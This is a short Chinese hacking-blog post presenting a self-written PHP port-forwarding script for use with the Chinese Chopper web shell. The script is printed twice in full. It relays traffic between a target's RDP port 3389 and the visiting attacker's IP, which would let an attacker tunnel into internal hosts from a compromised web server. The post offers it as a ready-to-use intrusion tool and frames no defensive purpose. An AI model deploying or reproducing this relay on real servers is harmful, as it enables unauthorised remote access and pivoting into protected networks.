菜刀自写脚本之php端口转向

  • A+
所属分类:颓废's Blog
摘要

$strIp = $_SERVER[‘REMOTE_ADDR’]; print $strIp; $rhost = “www.0dayhack.com”;//目标 $rport = 3389; $mhost = $strIp;//我 $mport = 80; settype($rport, “integer”); settype($mport, “integer”); @ob_end_flush(); @set_time_limit(0); @flush(); $fpr = @fsockopen($rhost, $rport, $errno, $errstr, 10); if (!$fpr) { print “{$errstr}/n”;die(); } $fp = @fsockopen($mhost, $mport, $errno, $errstr, 10); if (!$fp) { print “{$errstr}/n”;die(); } @set_socket_blocking($fpr, false); @set_socket_blocking($fp, false); print “-“; $fa = 0; $fb = 0; while (true) { @flush(); if (feof($fp) || feof($fpr)) break; $data = @fread($fp, 512); if ($data) { $n = ftell($fp)-$fa; $fa += $n; @set_socket_blocking($fpr, true); @fwrite($fpr, $data, $n); @set_socket_blocking($fpr, false); } $data = @fread($fpr, 512); if ($data) { $n = ftell($fpr)-$fb; $fb += $n; @set_socket_blocking($fp, true); @fwrite($fp, $data, $n); @set_socket_blocking($fp, false); } } @fclose($fpr); @fclose($fp); print “.”;

菜刀自写脚本之php端口转向

$strIp = $_SERVER['REMOTE_ADDR']; print $strIp;  $rhost = "www.0dayhack.com";//目标 $rport = 3389; $mhost = $strIp;//我 $mport = 80; settype($rport, "integer"); settype($mport, "integer");  @ob_end_flush(); @set_time_limit(0); @flush(); $fpr = @fsockopen($rhost, $rport, $errno, $errstr, 10); if (!$fpr) { print "{$errstr}/n";die(); }  $fp = @fsockopen($mhost, $mport, $errno, $errstr, 10); if (!$fp) { print "{$errstr}/n";die(); } @set_socket_blocking($fpr, false); @set_socket_blocking($fp, false);  print "-"; $fa = 0; $fb = 0; while (true) { @flush(); if (feof($fp) || feof($fpr)) break; $data = @fread($fp, 512); if ($data) { $n = ftell($fp)-$fa; $fa += $n; @set_socket_blocking($fpr, true); @fwrite($fpr, $data, $n); @set_socket_blocking($fpr, false); } $data = @fread($fpr, 512); if ($data) { $n = ftell($fpr)-$fb; $fb += $n; @set_socket_blocking($fp, true); @fwrite($fp, $data, $n); @set_socket_blocking($fp, false); } } @fclose($fpr); @fclose($fp); print ".";

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: